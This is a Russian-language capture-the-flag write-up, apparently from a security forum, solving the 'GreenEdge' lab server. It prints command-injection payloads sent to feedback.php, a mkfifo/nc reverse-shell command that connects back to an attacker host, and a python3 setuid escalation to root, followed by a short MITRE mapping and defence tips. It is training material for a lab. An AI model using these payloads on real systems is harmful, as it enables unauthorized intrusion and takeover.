Writeup GreenEdge

r0dd9

Green Team
14.08.2019
32
21
Специализация
  1. Пентест
Прямая ссылка на задание
1. recon 192.168.2.219
2. curl grep
3. POST method
4. CMDi
5. RCE
6. python SUID
7. root

🔐 Цель​

Сервер 192.168.2.219
GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.

🔍 Разведка цели

nmap
Bash:
nmap -sS 192.168.2.219

Bash:
Nmap scan report for 192.168.2.219
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 2.58 seconds
curl
Bash:
curl -s http://192.168.2.219/ | grep -i "flag\|hint\|debug\|admin\|test\|dev\|env\|config\|backup\|php\|login"
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
method="POST" параметр feedback=
Bash:
curl -s http://192.168.2.219/feedback.php
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>GreenEdge Portal</title>
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="nav">
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
    </div>
    <div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
    <textarea name="feedback" placeholder="Enter your message..."></textarea><br>
    <button type="submit">Submit</button>
</form>

🎯 Выбираем вектор атаки​

CMDi = RCE

🧩 Этап 1: CMDi​

Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; ls -la /"
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>GreenEdge Portal</title>
    <link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
    <div class="nav">
        <a href="/index.php">Home</a>
        <a href="/about.php">About</a>
        <a href="/contact.php">Contact</a>
        <a href="/feedback.php">Feedback</a>
    </div>
    <div class="container"><h1>Employee Feedback Form</h1>
<p>Your suggestions and comments help us improve our internal systems.</p>
<form method="POST">
    <textarea name="feedback" placeholder="Enter your message..."></textarea><br>
    <button type="submit">Submit</button>
</form>
<p>Thank you for your feedback.</p><pre>[sendmail] Message sent successfully
[sendmail] Content:
total 72
drwxr-xr-x   1 root root 4096 Sep  5  2025 .
drwxr-xr-x   1 root root 4096 Sep  5  2025 ..
-rwxr-xr-x   1 root root    0 Sep  5  2025 .dockerenv
lrwxrwxrwx   1 root root    7 Aug 19  2025 bin -&gt; usr/bin
drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
drwxr-xr-x   5 root root  320 Jun 19 12:20 dev
drwxr-xr-x   1 root root 4096 Sep  5  2025 etc
drwxr-xr-x   1 root root 4096 Sep  5  2025 home
lrwxrwxrwx   1 root root    7 Aug 19  2025 lib -&gt; usr/lib
lrwxrwxrwx   1 root root    9 Aug 19  2025 lib32 -&gt; usr/lib32
lrwxrwxrwx   1 root root    9 Aug 19  2025 lib64 -&gt; usr/lib64
lrwxrwxrwx   1 root root   10 Aug 19  2025 libx32 -&gt; usr/libx32
drwxr-xr-x   2 root root 4096 Aug 19  2025 media
drwxr-xr-x   2 root root 4096 Aug 19  2025 mnt
drwxr-xr-x   2 root root 4096 Aug 19  2025 opt
dr-xr-xr-x 228 root root    0 Jun 19 12:20 proc
drwx------   1 root root 4096 Oct  7  2025 root
drwxr-xr-x   1 root root 4096 Sep  7  2025 run
lrwxrwxrwx   1 root root    8 Aug 19  2025 sbin -&gt; usr/sbin
drwxr-xr-x   2 root root 4096 Aug 19  2025 srv
dr-xr-xr-x  13 root root    0 Jun 19 12:20 sys
drwxrwxrwt   1 root root 4096 Jun 19 12:21 tmp
drwxr-xr-x   1 root root 4096 Aug 19  2025 usr
drwxr-xr-x   1 root root 4096 Sep  5  2025 var

🔑 Этап 2: reverse shell​

nc listener
Bash:
nc -lvp 4444
listening on [any] 4444 ...
FIFO канал
Bash:
curl -s -X POST http://192.168.2.219/feedback.php -d "feedback=; mkfifo /tmp/f; nc 192.168.116.116 4444 0</tmp/f | bash 1>/tmp/f"
shell
Bash:
nc -lvp 4444
listening on [any] 4444 ...
192.168.2.219: inverse host lookup failed: Unknown host
connect to [192.168.116.116] from (UNKNOWN) [192.168.2.219] 33454
whoami
www-data

📁 Этап 3: эскалация привелегий​

сделаем tty shell
Bash:
whoami
www-data
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@85e0a64f451a:/var/www/html$
получим root
Bash:
www-data@85e0a64f451a:/var/www/html$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# whoami
whoami
root
#

🚀 Этап 4: ищем флаг​

Bash:
🏁 cat /home/charley/first_part /root/last_part
1782144047618.webp



💥 CTF решен!

🧠 Использованные уязвимости​

# &nbsp;УязвимостьКраткое описаниеMITRE ATT&CK
1RCE через веб-форму (Command Injection)Форма feedback.php без валидации передаёт пользовательский ввод в OS-команду через внутренний вызов exec().T1190 — Exploit Public-Facing Application. T1059.004 — Unix Shell
2Слабые учётные данные и SUID-бинарник suПовышение привилегии до root.T1548.003 — Abuse Elevation Control Mechanism (SUID)
3Небезопасное хранение данных в открытом видеФлаг разделён на /home/charley/first_part и /root/last_part. Оба файла находятся в стандартных путях с правами 644.T1005 — Data from Local System


🛡 Рекомендации по защите​

1. Запретить выполнение OS-команд в PHP
2. Ликвидировать риски SUID
3. Защитить конфиденциальные данные от несанкционированного чтения


✅ Инструменты: nmap, curl, python, nc​

 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab